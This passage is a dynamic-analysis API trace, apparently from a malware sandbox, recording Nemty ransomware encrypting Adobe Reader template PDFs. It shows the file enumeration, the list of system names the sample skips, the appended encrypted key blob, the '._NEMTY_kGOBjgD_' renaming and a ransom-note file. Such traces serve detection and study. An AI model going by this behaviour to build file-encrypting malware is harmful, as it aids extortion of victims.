lpOverlapped=0x0) returned 1 [0171.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.527] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=68059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x109db [0171.527] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.527] CloseHandle (hObject=0x3b0) returned 1 [0171.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.528] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.530] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.530] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.531] Sleep (dwMilliseconds=0x5) [0171.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19e3d430, dwHighDateTime=0x1d561e8)) [0171.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19e3d430, dwHighDateTime=0x1d561e8)) [0171.535] GetLastError () returned 0x0 [0171.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.535] GetLastError () returned 0x0 [0171.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.536] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.536] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="X03FgdqDrwFuwMvu8/RD2bw65MKJ6tN6Emqbk0mWyUH3sgkfixWGaY8bFD7m9/ZH\r\nYI9+67TcauxfPq0D6xMyCgoCKT8V0n4KZW3Ery2MivFKEibshR4cybJoAiNqv70e\r\n7IQz9Q5lh5xb2LFr5z2tXm723tiS6a2lbPa1xv72WViLhK3eLVeB30Gsq6LCAIsZ\r\nGic+K4XHt3CawVXCtJAj9rgomq7MaWBFWtq6VcPwP8PEXj++12zlViBnga6aahbj\r\ne3yY2cqa7vnASRSciRQRJGUgu2uu+c2nkaZUQnpD96KGrsJKf7gbwHmWcC1F3ZFw\r\nwDDxMa96zXGgZLnJzroZBw==\r\n", pcchString=0x653e5dc) returned 1 [0171.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.537] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=66751) returned 1 [0171.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x104b0) returned 0x6352c48 [0171.537] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.537] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x104b0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x104b0, lpOverlapped=0x0) returned 1 [0171.543] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.543] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x104b0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x104b0, lpOverlapped=0x0) returned 1 [0171.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.543] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=66751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x104bf [0171.543] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.543] CloseHandle (hObject=0x3b0) returned 1 [0171.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.543] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.544] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19dcb010, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19dcb010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19df1170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.544] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.545] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.545] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.545] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.545] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.545] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19dcb010, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19dcb010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19df1170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.545] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.546] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EUQ", cAlternateFileName="")) returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", 